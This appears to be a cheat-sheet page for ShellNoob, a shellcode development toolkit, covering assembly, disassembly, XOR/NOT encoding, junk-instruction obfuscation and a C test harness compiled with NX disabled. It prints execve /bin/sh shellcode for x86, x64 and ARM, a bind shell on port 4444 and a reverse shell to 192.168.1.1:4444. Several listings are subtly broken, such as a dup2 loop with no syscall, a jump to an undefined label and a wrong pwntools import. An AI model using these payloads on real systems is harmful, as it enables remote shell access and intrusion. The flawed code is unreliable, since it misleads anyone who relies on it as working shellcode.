콘텐츠로 이동

ShellNoob

ShellNoob is a comprehensive shellcode development toolkit designed to simplify the creation of custom shellcode for exploit development. It provides tools for writing, assembling, disassembling, encoding, and testing shellcode across multiple architectures (x86, x64, ARM, MIPS). ShellNoob abstracts away the complexity of assembly-to-bytes conversion and provides utilities for common shellcode patterns.

  • Multi-architecture Support: x86, x64, ARM, ARM64, MIPS
  • Assembly to Shellcode: Direct conversion to hex/bytes
  • Disassembly: Analyze binary code
  • Encoding/Decoding: XOR, NOT, and custom encoders
  • Syscall Generation: Helper functions for syscalls
  • Pattern Library: Pre-built shellcode patterns
  • Cross-platform: Linux, macOS, Windows compatible
# Python 3.x required
python3 --version

# Package dependencies
pip3 install capstone keystone-engine pwntools

# For full support, install binutils
apt-get install binutils  # Debian/Ubuntu
brew install binutils  # macOS

# Optional: radare2 for additional analysis
apt-get install radare2  # Debian/Ubuntu
git clone https://github.com/rk700/shellnoob.git
cd shellnoob
chmod +x shellnoob.py
./shellnoob.py --help

# Optional: Add to PATH
sudo ln -s $(pwd)/shellnoob.py /usr/local/bin/shellnoob
# If available on PyPI
pip3 install shellnoob

# Or install from GitHub directly
pip3 install git+https://github.com/rk700/shellnoob.git
# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y python3 python3-pip binutils
RUN pip3 install capstone keystone-engine pwntools
RUN git clone https://github.com/rk700/shellnoob.git /shellnoob
WORKDIR /shellnoob
CMD ["/bin/bash"]
EOF

docker build -t shellnoob .
docker run -it --rm -v $(pwd):/work shellnoob
TypePurposeCommon Uses
ExecveExecute programShell spawning, command execution
MmapMemory allocationCustom payloads, code injection
Read/WriteI/O operationsData exfiltration, command output
SocketNetwork operationsReverse shell, bind shell
Syscall WrapperDirect syscallsKernel interaction
Encoder StubsEncoding/decodingPolymorphic payloads
  • x86: 32-bit Intel/AMD (i386, i486, i586, i686)
  • x64: 64-bit Intel/AMD (amd64, x86_64)
  • ARM: 32-bit ARM (ARMV7, ARMV7L)
  • ARM64: 64-bit ARM (AARCH64)
  • MIPS: 32-bit MIPS (MIPS32, MIPS64)
# Show help
./shellnoob.py --help

# Show version
./shellnoob.py --version

# List supported architectures
./shellnoob.py --list-archs

# Show syscall reference for architecture
./shellnoob.py --show-syscalls --arch x64
# Convert x86 assembly to shellcode
./shellnoob.py -c "mov eax, 0x1; mov ebx, 0x0; int 0x80" --arch x86

# x64 assembly
./shellnoob.py -c "mov rax, 0x3b; mov rdi, 0x0; syscall" --arch x64

# ARM assembly
./shellnoob.py -c "mov r0, #1; swi 0x900001" --arch arm

# Generate with format output
./shellnoob.py -c "mov eax, 1" --arch x86 --output python
# Create assembly file
cat > shellcode.asm << 'EOF'
; x86 exit shellcode
mov eax, 0x1      ; exit syscall number
mov ebx, 0x0      ; exit code 0
int 0x80          ; syscall
EOF

# Assemble to shellcode
./shellnoob.py -f shellcode.asm --arch x86 --output hex
./shellnoob.py -f shellcode.asm --arch x86 --output bash
./shellnoob.py -f shellcode.asm --arch x86 --output python
# Hex output (default)
./shellnoob.py -c "mov eax, 1" --arch x86 --output hex

# Python list format
./shellnoob.py -c "mov eax, 1" --arch x86 --output python

# Bash array
./shellnoob.py -c "mov eax, 1" --arch x86 --output bash

# C array
./shellnoob.py -c "mov eax, 1" --arch x86 --output c

# Raw bytes
./shellnoob.py -c "mov eax, 1" --arch x86 --output raw > shellcode.bin

# Intel/AT&T syntax
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax intel
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax att
# Exit syscall (no error)
./shellnoob.py -c "
  mov eax, 0x1
  mov ebx, 0x0
  int 0x80
" --arch x86

# Exit with code 1
./shellnoob.py -c "
  mov eax, 0x1
  mov ebx, 0x1
  int 0x80
" --arch x86
# Execute /bin/sh
./shellnoob.py -c "
  mov eax, 0xb
  mov ebx, 0xbfff1234
  mov ecx, 0x0
  mov edx, 0x0
  int 0x80
" --arch x86

# More complete example with string placement
cat > exec_sh.asm << 'EOF'
section .text
  global _start
_start:
  jmp short string
back:
  pop ebx
  mov eax, 11
  xor ecx, ecx
  xor edx, edx
  int 0x80
string:
  call back
  db "/bin/sh", 0x0
EOF

./shellnoob.py -f exec_sh.asm --arch x86 --output python
# x64 exit syscall
./shellnoob.py -c "
  mov rax, 0x3c
  mov rdi, 0x0
  syscall
" --arch x64

# Exit with code 1
./shellnoob.py -c "
  mov rax, 0x3c
  mov rdi, 0x1
  syscall
" --arch x64
# x64 /bin/sh execution
cat > exec_x64.asm << 'EOF'
section .text
  global _start
_start:
  jmp short string
back:
  pop rdi
  xor rsi, rsi
  xor rdx, rdx
  mov rax, 59
  syscall
string:
  call back
  db "/bin/sh", 0x0
EOF

./shellnoob.py -f exec_x64.asm --arch x64 --output python
# ARM execve /bin/sh
cat > exec_arm.asm << 'EOF'
.section .text
.global _start
_start:
  adr r0, binary
  mov r1, #0
  mov r2, #0
  mov r7, #11
  swi 0
binary:
  .ascii "/bin/sh\0"
EOF

./shellnoob.py -f exec_arm.asm --arch arm --output python
# Disassemble hex bytes
./shellnoob.py -d "6a01586a005f6a0000589d0f05" --arch x64

# Disassemble from file
./shellnoob.py -d --file shellcode.bin --arch x86

# Disassemble with detailed output
./shellnoob.py -d "b8010000008d1e31c0cd80" --arch x86 --verbose

# Show Intel syntax
./shellnoob.py -d "6a015b6a005f" --arch x64 --syntax intel
# Get size of shellcode
./shellnoob.py -c "mov eax, 1" --arch x86 --size

# Check for bad characters (null bytes)
./shellnoob.py -c "mov eax, 1" --arch x86 --check-nulls

# Analyze entropy
./shellnoob.py --analyze "b8010000008d1e31c0cd80" --arch x86
# Generate XOR decoder with key
./shellnoob.py -f shellcode.asm --arch x86 --encoder xor --key 0xAA

# XOR encode existing shellcode
./shellnoob.py -d "shellcode.bin" --arch x86 --encode xor --key 0xBB

# Generate encoded + decoder stub
./shellnoob.py -c "mov eax, 1; int 0x80" --arch x86 \
  --encoder xor --key 0xCC --include-decoder
# NOT encoding (bitwise NOT)
./shellnoob.py -c "mov eax, 1" --arch x86 --encoder not

# Multi-pass encoding
./shellnoob.py -c "mov eax, 1" --arch x86 \
  --encoder xor --key 0xFF \
  --encoder xor --key 0xAA \
  --encoder not

# Add junk instructions
./shellnoob.py -f shellcode.asm --arch x86 \
  --add-junk 5 \
  --obfuscate
# Show x86 syscall table
./shellnoob.py --show-syscalls --arch x86 | grep -i execve

# Find x64 syscall number
./shellnoob.py --show-syscalls --arch x64 | grep -i "^59"

# Search for specific syscall
./shellnoob.py --find-syscall "write" --arch x86

# Show ARM syscalls
./shellnoob.py --show-syscalls --arch arm | head -20
# x86 (32-bit) common syscalls
1   - exit
3   - read
4   - write
11  - execve
33  - access
37  - kill
78  - clone

# x64 (64-bit) common syscalls
0   - read
1   - write
2   - open
3   - close
59  - execve
60  - exit
#!/usr/bin/env python3
from pwntools import *

# Generate x86 shellcode
context.arch = 'i386'
shellcode = asm("mov eax, 1; int 0x80")
print(f"Shellcode: {shellcode.hex()}")

# Generate x64 shellcode
context.arch = 'amd64'
shellcode = asm("mov rax, 0x3c; mov rdi, 0; syscall")
print(f"Shellcode: {shellcode.hex()}")

# Use ShellNoob for complex patterns
# (example using both tools together)
shellcode = asm("""
  xor rax, rax
  push rax
  mov rdi, rsp
  mov rax, 59
  syscall
""")

print(f"Final shellcode: {shellcode.hex()}")
cat > bind_shell_x64.asm << 'EOF'
section .data
  port equ 4444
  
section .text
  global _start
_start:
  ; Create socket
  mov rax, 41
  mov rdi, 2
  mov rsi, 1
  mov rdx, 0
  syscall
  
  mov r9, rax  ; Save socket FD
  
  ; Bind
  mov rax, 49
  mov rdi, r9
  mov rsi, 0x0
  mov rdx, 0x10
  syscall
  
  ; Listen
  mov rax, 50
  mov rdi, r9
  mov rsi, 0x1
  syscall
  
  ; Accept
  mov rax, 43
  mov rdi, r9
  mov rsi, 0x0
  mov rdx, 0x0
  syscall
  
  ; Spawn shell on connection
  mov r10, rax  ; client fd
  mov rsi, r10
  mov rdx, r10
  mov rax, 59
  mov rdi, rsp
  syscall
EOF

./shellnoob.py -f bind_shell_x64.asm --arch x64 --output python
cat > reverse_shell_x86.asm << 'EOF'
section .text
  global _start
_start:
  ; Create socket
  mov eax, 102
  mov ebx, 1
  mov ecx, 1
  int 0x80
  
  mov edi, eax    ; Save socket FD
  
  ; Connect to 192.168.1.1:4444
  mov eax, 102
  mov ebx, 3
  mov ecx, 0x5c110ac0  ; IP:Port encoded
  mov edx, 0x10
  int 0x80
  
  ; Redirect stdin/stdout/stderr
  mov ecx, 3
loop:
  mov eax, 63
  mov ebx, edi
  mov ecx, ecx
  dec ecx
  jne loop
  
  ; Execve /bin/sh
  mov eax, 11
  jmp short get_bin_sh
EOF

./shellnoob.py -f reverse_shell_x86.asm --arch x86 --output python
# Create C harness
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned char shellcode[] = {
  0xb8, 0x01, 0x00, 0x00, 0x00,  // mov eax, 1
  0xbb, 0x00, 0x00, 0x00, 0x00,  // mov ebx, 0
  0xcd, 0x80                       // int 0x80
};

int main(int argc, char *argv[]) {
  printf("[*] Shellcode length: %d bytes\n", strlen((char*)shellcode));
  printf("[*] Testing shellcode execution...\n");
  
  int (*ret)() = (int(*)())shellcode;
  ret();
  
  return 0;
}
EOF

# Compile with NX disabled
gcc -z execstack -o test test.c

# Run test
./test
# Create GDB script
cat > test.gdb << 'EOF'
break main
run
set follow-fork-mode child
stepi
disassemble
info registers
continue
EOF

gdb -x test.gdb ./test
# Find null bytes in shellcode
./shellnoob.py -c "mov eax, 0x1" --arch x86 --check-nulls

# Techniques to avoid null bytes
./shellnoob.py -c "
  xor eax, eax
  mov al, 0x1  ; Instead of mov eax, 0x1
  xor ebx, ebx ; Instead of mov ebx, 0
  int 0x80
" --arch x86 --output hex

# Position independent code
./shellnoob.py -f shellcode.asm --arch x86 --pic
cat > pic_shellcode.asm << 'EOF'
section .text
  global _start
_start:
  call get_rip
get_rip:
  pop rax
  ; Now rax contains current position
  ; Use relative addressing for data references
  lea rdi, [rel bin_sh]
  xor rsi, rsi
  xor rdx, rdx
  mov rax, 59
  syscall
  
  db "/bin/sh", 0x0
EOF

./shellnoob.py -f pic_shellcode.asm --arch x64 --pic --output python
# Check syntax validity
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax-check

# Get detailed error messages
./shellnoob.py -f shellcode.asm --arch x86 --verbose

# Validate assembly before conversion
./shellnoob.py -f shellcode.asm --arch x86 --validate
# Get exact size of shellcode
./shellnoob.py -c "mov eax, 1; int 0x80" --arch x86 --size

# Optimize for size
./shellnoob.py -f shellcode.asm --arch x86 --optimize-size

# Check if shellcode fits constraint
./shellnoob.py -c "mov eax, 1" --arch x86 --max-size 32
TaskCommand
Assembly to hex./shellnoob.py -c "mov eax, 1" --arch x86 --output hex
Disassemble./shellnoob.py -d "b8010000008d1e31c0cd80" --arch x86
Show syscalls./shellnoob.py --show-syscalls --arch x64
XOR encode./shellnoob.py -f code.asm --encoder xor --key 0xAA
Test file./shellnoob.py -f code.asm --arch x86 --test
Check nulls./shellnoob.py -c "..." --check-nulls
PIC shellcode./shellnoob.py -f code.asm --pic
# x86: register names (eax, ebx, ecx, edx, esi, edi, ebp, esp)
./shellnoob.py -c "mov eax, 1; mov ebx, 0; int 0x80" --arch x86

# x64: register names (rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, r8-r15)
./shellnoob.py -c "mov rax, 1; mov rdi, 0; syscall" --arch x64

# x64 uses 'syscall' instead of 'int 0x80'
# x64 first 6 args: rdi, rsi, rdx, rcx, r8, r9
# x86 first args: ebx, ecx, edx, esi, edi, ebp